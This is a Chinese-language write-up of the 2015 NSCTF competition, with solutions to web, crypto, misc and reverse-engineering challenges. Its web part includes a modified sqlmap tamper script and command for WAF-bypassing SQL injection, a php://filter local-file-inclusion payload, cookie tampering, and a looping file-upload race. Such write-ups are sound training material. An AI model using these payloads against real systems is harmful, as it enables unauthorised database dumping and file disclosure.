1. 程式人生 > >【Writeup】2015NSCTF

【Writeup】2015NSCTF

web:

      be careful:

                   發現有跳轉,php跳轉至html,flag在php頁面,BP是神器。

      decode:

 

         解密指令碼如下:

       functiondecode($str){
                                      $_ =base64_decode(strrev(str_rot13($str)));
                                      for($_0=0;$_0<strlen($_);$_0++){
                                               $_c= substr($_,$_0,1);
                                               $__= ord($_c)-1;
                                               $_c= chr($__);
                                               $_o= $_o.$_c;
                                      }
                                      returnstrrev($_o);
                                      }       

解密後獲得flag

Brute force:

                   有個password.txt檔案,將其當作字典,用BP進行爆破,最後出來的結果nsF0cuS,進入後,說flag不在這裡,看cookie,base64解碼後跳轉到新的網頁——留言版,要以小黑的身份留言,修改cookie islogin 值為1 ,修改發言人等級 userlevel為root 成功留言,獲得flag

      javascript:

                   根據題目提示,考察點為js,檢視原始碼發現check.js分析後獲得G0od!JAVA3C41PTISAGO 1pt_Pa4sW0rd_K3y_H3re  //~~~填入後獲得新地址06/Ch3ck_Au7h.php發現開啟後都是error,根據檔名猜測是一個驗證指令碼,應該是驗證使用者名稱密碼的,遂用GET方式傳輸引數uname=G0od!JAVA3C41PTISAGO upass=1pt_Pa4sW0rd_K3y_H3re獲得flag

      sqli:

                   有filtername引數,初步分析該引數對提交的username中的字元進行過濾,填什麼字元,過濾什麼字元。輸入’,被轉義,輸入%27仍舊被轉義,輸入%25%27,成功繞過。輸入空格字元,會提示有sql注入,使用/*xx*/替換空格,仍然提示。利用filtername對/*xx*/進行構造,改造成為/ww*xxx*ww/,filtername=ww*xxx*ww/,成功繞過。

資料包為:

POST/fa81bb665474f11c025b5355582af315/web/12/index.php HTTP/1.1
Host: www.nsctf.net:8000
Cache-Control: max-age=0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.nsctf.net:8000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.93Safari/537.36
Referer:http://www.nsctf.net:8000/fa81bb665474f11c025b5355582af315/web/12/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Content-Type:application/x-www-form-urlencoded
Content-Length: 110
 
username=admi%&filtername=ww&Submit=%e6%8f%90%e4%ba%a4


需要對space2comment進行改造:

程式碼如下:

#!/usr/bin/env python
 
"""
Copyright (c) 2006-2014 sqlmap developers(http://sqlmap.org/)
See the file 'doc/COPYING' for copyingpermission
"""
 
from lib.core.enums import PRIORITY
 
__priority__ = PRIORITY.LOW
 
def dependencies():
   pass
 
def tamper(payload, **kwargs):
   """
   Replaces space character (' ') with comments '/**/'
 
   Tested against:
       * Microsoft SQL Server 2005
       * MySQL 4, 5.0 and 5.5
       * Oracle 10g
       * PostgreSQL 8.3, 8.4, 9.0
 
   Notes:
       * Useful to bypass weak and bespoke web application firewalls
 
   >>> tamper('SELECT id FROM users')
   'SELECT/ww**ww/id/ww**/FROM/ww**ww/users'
   """
 
   retVal = payload
 
    if payload:
       retVal = ""
       quote, doublequote, firstspace = False, False, False
 
       for i in xrange(len(payload)):
           if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal +="/ww**ww/"
                    continue
 
           elif payload[i] == '\'':
                quote = not quote
 
           elif payload[i] == '"':
                doublequote = not doublequote
 
           elif payload[i] == " " and not doublequote and not quote:
                retVal += "/ww**ww/"
                continue
 
           retVal += payload[i]
 
return retVal


使用sql跑出flag。

python sqlmap.py -r req.txt -p username--tamper=space2comment,chardoubleencode --string="admin"  -D dbs -T flag --dump

LFI:

                   php://filter/read=convert.base64-encode/resource=index.php  獲得base64編碼的網頁原始檔,base64解碼後獲得flag

      changepassword:

                   比較坑的題目啊! 備份檔名為.index.php.swp  程式碼審計後,提供id,pass,password序列化,其中 id為1,pass和password均為20150923oldpass 20150923 newpass 20150923(id這個坑,坑我了好久啊好久啊好久啊好久啊好久啊好久啊,後來沒辦法試了下1,結果就過第一個判斷了。。)

      File Upload:

                   截斷上傳成功,伺服器識別上傳檔案後刪除,於是寫個指令碼迴圈上傳,一開始由於檔案太小,伺服器刪的太快,無法形成穩定連結,於是開20個執行緒進行連線。。  還是不行,最後把檔案搞到60多KB,終於可以了。。  連線上後還以為可以看原始碼了。,特麼直接給flag。

crypto:

      神奇的字串:

                   aes解密,無密碼,網址:http://encode.chahuo.com/

      神奇的圖片:

                   (這尼瑪是取證好麼,怎麼歸到密碼裡面了,弱弱的吐槽下)

                   老套路先Binwalk一下。

神馬都沒有?

看下圖片

我怎麼隱約可見一枚萌萌噠的二維碼。。。(難道是我視力太好?)上神器

在綠色通道最低位發現被反色的二維碼。。

很簡單。。   發現一個神奇的方法,QQ截圖,然後選中。。


二維碼出現,掃一下就好。Flag拿到手。

      神奇的圖片+10086:

                   Binwalk分析。。。

這麼多張圖片,你家裡人知道嗎。。


 Ddif=oddpic.JPG skip=158792 bs=1 of=1.jpg

第一張圖就是


MISC:

      Twitter:

         翻牆,找到twitter.com/nsctf   把裡面的md5  fc42aa2046ed6e90cab82b1094b19adb解密,nsfocus666,拼接成最終的flag

      WireShark:

                   搜尋http包,發現關鍵資料包

        

還原網頁檔案

 

還原出key.rar檔案


製作字典,用軟體爆破即可,大概用了1個多小時就爆破出了密碼,獲得flag。


      小綠的女神:

大致分析了下,先消費了1.8然後將檔案dump下來,對比之前的檔案

發現有兩處不同:


簡單分析了下

0xc0處為剩餘的錢數,緊跟的後面四個位元組為該數值取反。再後面8個位元組為重複。


0x40處為已經用掉的錢數。同樣後面4位元組為該數值取反。再後面8位元組為重複。


第一次修改0x40和0xc0處資料,提交後不成功,糾結2個小時後,發現該處資料(如下圖)


0x80 數值為10000,這不是總錢數麼。猜測校驗公式為:總錢數=用掉的錢數+現有的錢數。

接下來的工作就好辦了。只要讓現有的錢數為208,滿足以上公式即可。成功獲得flag。

Reverse:

      Reverse01:

加殼了。。

 

進OD動態分析。

使用esp定律脫殼。

搜尋字串得到


將該flag提交,可嘆我太傻太天真。。

繼續分析。。。

用jmp強行跳過判斷


往下


可以看到當暫存器edi值為3時進行跳轉。。

強行進入該判斷


得到flag:


爆破有時候也挺好用的~

Reverse02:

沒加殼。。直接搜尋字串


跳轉到字串所在位置。

 

這個和re1好像哇。。  於是機智的我幹了這麼一件事。。

 

設定008F1000為新的EIP

於是。。flag就直接出來了。。

 

Reverse04:

用uncompyle2反編譯,出錯。


使用unpyclib對其進行反彙編



用16進位制編輯器對二進位制檔案進行修改,去掉兩個nop。並修改長度


繼續報錯,繼續分析


懷疑是工具問題。

得到一部分程式碼

#!/usr/bin/env python
# encoding: utf-8
# 訪問http://tool.lu/pyc/ 檢視更多資訊
data = "M,\x1d-\x18}E'\x1ezN~\x1b*\x19+\x12%\x1d-" + 'I\x7fM(I{I\x7fJ.\x16wWcRj\x0e6\x0fn' + ' Zo\nn\x0fk\t1R7\x03g\x067\x00eUb\x043'+ ' \x014\x071Rr\x14x\x19~D?q"a5s,A%' + "\x10'\x11uLyA%\x1d|DrFv\x12t\x11#B&" + 'GsKzK*O)\x1c%GuC>\x1e\x7f\x1b+\x19*'+ ' \x1e&\x14-\x1f/\[email protected]}' + ' \x1b,MuBp\x12'
import os
import sys
import struct
import cStringIO
import string
import dis
import marshal
import types
import random
count = 0
 
def reverse(string):
   return string[::-1]
 
data_list = list(reverse(data)[1:])
 
def decrpyt(c, key2):
   global count
   data_list[count] = c ^ key2
   count += 1
 
 
def GetFlag1():
    key= struct.unpack('B', data[len(data) - 8])[0]
   for c in data_list:
       if count == 0:
           decrpyt(struct.unpack('B', c)[0], key)
           continue
       key = struct.unpack('B', data[len(data) - 3])[0]
       decrpyt(struct.unpack('B', c)[0], key)
   
   for c in data_list[::-1]:
       print chr(c),
   
 
 
def GetFlag2():
   key = struct.unpack('B', data[len(data) - 11])[0]
   for c in data_list:
       if count == 0:
           decrpyt(struct.unpack('B', c)[0], key)
           continue
       key = struct.unpack('B', data[len(data) - 4 - count])[0]
       decrpyt(struct.unpack('B', c)[0], key)
   
   for c in data_list[::-1]:
       print chr(c),
   
 
 
def GetFlag3():
   key = struct.unpack('B', data[len(data) - 5])[0]
   for c in data_list:
       if count == 0:
           decrpyt(struct.unpack('B', c)[0], key)
           continue
       key = struct.unpack('B', data[len(data) - 2 - count])[0]
       decrpyt(struct.unpack('B', c)[0], key)
   
   for c in data_list[::-1]:
       print chr(c),
   
 
 
def GetFlag4():
   global count
   key = struct.unpack('B', data[len(data) - 1])[0]
   for c in data_list:
       if count == 0:
           decrpyt(struct.unpack('B', c)[0], key)
           continue
        key = struct.unpack('B', data[len(data) - 1- count])[0]
       decrpyt(struct.unpack('B', c)[0], key)
   
   count = 0
   for c in data_list[::-1]:
       print chr(c),
   
 
 
def GetFlag5():
   pass
# WARNING: Decompyle incomplete
 
GetFlag1()


修改程式碼,將GetFlag2()、GetFlag3()、GetFlag4()函式都呼叫,flag在GetFlag4()函式所打印出來的字串內。